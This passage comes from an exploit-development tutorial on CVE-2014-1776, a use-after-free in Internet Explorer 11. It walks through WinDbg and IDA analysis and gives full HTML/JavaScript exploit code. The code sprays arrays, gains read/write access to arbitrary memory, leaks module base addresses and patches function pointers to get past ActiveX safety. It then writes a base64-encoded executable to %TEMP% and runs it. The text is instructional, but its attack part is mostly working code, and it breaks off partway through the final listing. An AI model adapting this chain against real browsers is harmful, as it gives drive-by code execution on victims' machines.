0aa9a253 8b400c          mov     eax,dword ptr [eax+0Ch]
0aa9a256 85c0            test    eax,eax

The freed object is pointed to by ECX. Let’s determine the size of the object:

0:007> ? 1000 - (@ecx & fff)
Evaluate expression: 1064 = 00000428

So the object is 0x428 bytes.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

Now we need to develop a breakpoint which breaks exactly at the point of crash. This is necessary for when we remove the flag HPA and ECX points to a string of our choosing.

Let’s start by putting the following breakpoint right before we allow blocked content in IE:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

The breakpoint will be triggered many times before the crash. Moreover, if we click on the page in IE, the breakpoint will be triggered some more times. It’s better to put an initial breakpoint on a parent call which is called only after we allow blocked content in IE. The following breakpoint seems perfect:

bp MSHTML!CBase::put_BoolHelper

When the breakpoint is triggered, set also the following breakpoint:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

This last breakpoint is triggered 3 times before we reach the point (and time) of crash. So, from now on we can use the following standalone breakpoint:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

If you try it, you’ll see that it works perfectly!

Now we can finally try to make ECX point to our string. But before proceeding, disable the two flags HPA and UST:

Image may be NSFW.
Clik here to view.
pic_51

Here’s the modified javascript code:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
                
                var elem = document.createElement("div");
                elem.className = new Array(0x428/2).join("a");
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Remember to set the following breakpoint:

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

When the breakpoint is triggered, you should see something similar to this:

Image may be NSFW.
Clik here to view.
pic_62
The UAF bug (2)

We will need to analyze the bug in IDA.

This time I won’t show you how I determined the content of the string step by step because it’d be a very tedious exposition and you wouldn’t learn anything useful. First I’ll show you the relevant graphs so that you can follow along even without IDA, and then I’ll show you the complete “schema” used to exploit the UAF bug and modify the length of the chosen Array.

Open mshtml in IDA then press Ctrl+P (Jump to function), click on Search and enter CMarkup::IsConnectedToPrimaryMarkup. Double click on the function and you’ll see the crash point:

Image may be NSFW.
Clik here to view.
pic_63

The nodes with the colored background are the only nodes whose code we execute. The pink nodes contain the crash, whereas the celeste (light blue) nodes contain the overwriting instruction we’ll use to modify the length of the chosen Array.

Click on the signature of IsConnectedToPrimaryMarkup, press Ctrl+X and select CMarkup::OnCssChange (see again the stack trace above if you need to). Here’s the graph of OnCssChange:

Image may be NSFW.
Clik here to view.
pic_64

Here’s the graph of CMarkup::IsPendingPrimaryMarkup:

Image may be NSFW.
Clik here to view.
pic_65

Next is the graph of CMarkup::Root:

Image may be NSFW.
Clik here to view.
pic_66

Here’s the graph of CElement::EnsureFormatCacheChange:

Image may be NSFW.
Clik here to view.
pic_67

And, finally, this is the graph of CView::AddInvalidationTask, the function which contains the overwriting instruction (inc):

Image may be NSFW.
Clik here to view.
pic_68

Here’s the schema I devised:

Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0
            [Y+630h+248h] = [Y+878h] val to inc!      <======
            [Y+630h+380h] = [Y+9b0h] has bit 16 set
            [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
            [Y+1044h] is 0
U = [ptr+118h] ==>  is 0 => V = [U-24h] => W = [V+1ch],
            [W+0ah] has bit 1 set & bit 4 unset
            [W+44h] has bit 7 set
            [W+5ch] is writable
[ptr+198h] has bit 12 set

Let’s consider the first two lines:

X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0

The term ptr is the dangling pointer (which should point to our string). The two lines above means [Y+208h] must be 0, where Y is the value at X+0ch, where X is the value at ptr+0a4h.

Deducing such a schema can be time consuming and a little bit of trial and error may be necessary. The goal is to come up with a schema that results in an execution path which reaches the overwriting instruction and then resume the execution of the javascript code without any crashes.

It’s a good idea to start by identifying the must-nodes (in IDA), i.e. the nodes that must belong to the execution path. Then you can determine the conditions that must be met to make sure that those nodes belong to the execution path. Once you’ve done that, you start exploring the graph and see what are the suitable sub-paths for connecting the must-nodes.

You should check that the schema above is correct by looking at the graphs and following the execution path.

Next Part

The post IE11: Part 1 appeared first on Exploit Development Community.

IE11: Part 2

Completing the exploit

As we saw, the POC uses window.onload because it requires that the javascript code is executed after the page has fully loaded. We must do the same in our exploit. We also need to make the required changes to the rest of the page. Here’s the resulting code:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

I snipped runcalc. You can download the full code from here: code6.

When we try it, a familiar dialog box pops up:

Image may be NSFW.
Clik here to view.
pic_69

This means that something changed and the God Mode doesn’t work anymore.

Let’s start by adding two alerts to check that the variables jscript9 and mshtml contain the correct base addresses:

// Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    alert(jscript9.toString(16));
    alert(mshtml.toString(16));

When we reload the page in IE we discover that the two variables contain incorrect values. Let’s modify the code again to find out what’s wrong:

// Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    alert(addr.toString(16));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;

When we analyze the object at the address addr, we realize that something is missing:

0:021> dd 3c600e0
03c600e0  6cd75480 03c54120 00000000 03c6cfa0
03c600f0  029648a0 03c6af44 03c6af74 00000000
03c60100  6cd7898c 00000001 00000009 00000000
03c60110  0654d770 00000000 00000000 00000000
03c60120  6cd75480 03c54120 00000000 03c6c000
03c60130  029648a0 03c6a3d4 03c6af44 00000000
03c60140  6cd75480 03c54120 00000000 03c6cfb0
03c60150  029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0  6cd75480 jscript9!HostDispatch::`vftable'
03c600e4  03c54120
03c600e8  00000000
03c600ec  03c6cfa0
03c600f0  029648a0
03c600f4  03c6af44
03c600f8  03c6af74
03c600fc  00000000
03c60100  6cd7898c jscript9!HostVariant::`vftable'
03c60104  00000001
03c60108  00000009
03c6010c  00000000
03c60110  0654d770
03c60114  00000000
03c60118  00000000
03c6011c  00000000
03c60120  6cd75480 jscript9!HostDispatch::`vftable'
03c60124  03c54120
03c60128  00000000
03c6012c  03c6c000
03c60130  029648a0
03c60134  03c6a3d4
03c60138  03c6af44
03c6013c  00000000
03c60140  6cd75480 jscript9!HostDispatch::`vftable'
03c60144  03c54120
03c60148  00000000
03c6014c  03c6cfb0
03c60150  029648a0
03c60154  029648c0
03c60158  03c60194
03c6015c  00000000

How can we determine the base address of mshtml.dll without a pointer to a vftable in it?

We need to find another way. For now, we learned that the div element is represented by an object of type jscript9!HostDispatch. But we’ve already seen this object in action. Do you remember the stack trace of the crash? Here it is again:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

In particular, look at these two lines:

0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae

It’s clear that jscript9!HostDispatch::CallInvokeEx knows the address of the function MSHTML!CBase::PrivateInvokeEx and if we’re lucky, this address is reachable from the object HostDispatch (remember that we know the address of an object of this very type).

Let’s examine jscript9!HostDispatch::CallInvokeEx in IDA. Load jscript9 in IDA and then press Ctrl+P to locate CallInvokeEx. Now you can click on any instruction to see its offset relative to the current function. We want to locate the instruction at offset 0xae of CallInvokeEx:

Image may be NSFW.
Clik here to view.
pic_70

It looks like the address of MSHTML!CBase::PrivateInvokeEx is at the address eax+20h.

As we did with the UAF bugs, we’ll try to determine where the address of MSHTML!CBase::PrivateInvokeEx comes from:

Image may be NSFW.
Clik here to view.
pic_71

Now we’ll need to examine the function GetHostVariantWrapper:

Image may be NSFW.
Clik here to view.
pic_72

By merging the schemata, we get the following:

X = [this+0ch]
var_14 = [X+8]
X = var_14
obj_ptr = [X+10h]

More simply:

X = [this+0ch]
X = [X+8]
obj_ptr = [X+10h]

Let’s see if we’re right. Let’s reload the html page in IE and examine the div element again:

0:022> dd 5360f20
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
05360f80  05360fa1 00000000 00000000 00000000
05360f90  00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0  6cc52d44 00000001 05360f00 00000000
0536cfc0  6cc52d44 00000001 05360f40 00000000
0536cfd0  0536cfe1 00000000 00000000 00000000
0536cfe0  0536cff1 00000000 00000000 00000000
0536cff0  0536cf71 00000000 00000000 00000000
0536d000  6cc54534 0535d8c0 00000000 00000005
0536d010  00004001 047f0010 053578c0 00000000
0536d020  00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
    jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
    jscript9!Js::FunctionInfo::`vftable' = <no type information>
    jscript9!Projection::UnknownThis::`vftable' = <no type information>
    jscript9!Projection::NamespaceThis::`vftable' = <no type information>
    jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
    jscript9!RefCountedHostVariant::`vftable' = <no type information>
    jscript9!DummyVTableObject::`vftable' = <no type information>
    jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00  6cc5898c 00000005 00000009 00000000
05360f10  00565d88 00000000 00000000 00000000
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
    jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88  6f03eb04 00000001 00000000 00000008
00565d98  00000000 05360f08 00000000 00000000
00565da8  00000022 02000400 00000000 00000000
00565db8  07d47798 07d47798 5c0cccc8 88000000
00565dc8  003a0043 0057005c 006e0069 006f0064
00565dd8  00730077 0073005c 00730079 00650074
00565de8  0033006d 005c0032 00580053 002e0053
00565df8  004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
    MSHTML!CDivElement::`vftable' = <no type information>

Bingo! Our problems are solved! Now let’s compute the RVA of the vftable just found:

0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04

We also need to compute the RVA for jscript9!HostDispatch::`vftable’:

0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480

Now change the code as follows:

// Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
    alert(jscript9.toString(16));
    alert(mshtml.toString(16));
    return;

Try it out: is should work just fine!

Now remove the two alerts and the return. Mmm… the calculator doesn’t appear, so there must be something wrong (again!). To see what’s wrong, we can rely on the Developer Tools. It seems that when the Developer Tools are enabled our God Mode doesn’t work. Just authorize the execution of the ActiveXObject and you should see the following error:

Image may be NSFW.
Clik here to view.
pic_73

Luckily, the problem is quite simple: atob isn’t available in IE 9. I found a polyfill for atob here:

https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa

Here’s the modified code:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;

    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }

    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }

    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

As before, I snipped runcalc. You can download the full code from here: code7.

Now the calculator pops up and everything seems to work fine until we get a crash. The crash doesn’t always happen but there’s definitely something wrong with the code. A crash is probably caused by an incorrect write. Since the God Mode works correctly, the problem must be with the two writes right before the call to bStream.SaveToFile.

Let’s comment out the two writes and try again. Perfect! Now there are no more crashes! But we can’t just leave out the two writes. If we use SimpleServer, it doesn’t work of course because the two writes are needed. Maybe surprisingly, if we add back the two writes, everything works just fine.

If we investigate things a bit, we discover that when the html page is loaded in IE directly from the hard disk, string_addr points to a null dword. On the other hand, when the page is loaded by going to 127.0.0.1 and is served by SimpleServer, string_addr points to the Unicode string http://127.0.0.1/. For this reason, we should change the code as follows:

var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // only when there is a string to overwrite
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }

Completing the exploit (2)

It’s high time we completed this exploit! Here’s the full code:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  magic_addr = 0xc000000;

  function dword2Str(dword) {
    var low = dword % 0x10000;
    var high = Math.floor(dword / 0x10000);
    if (low == 0 || high == 0)
      alert("dword2Str: null wchars not allowed");
    return String.fromCharCode(low, high);
  }
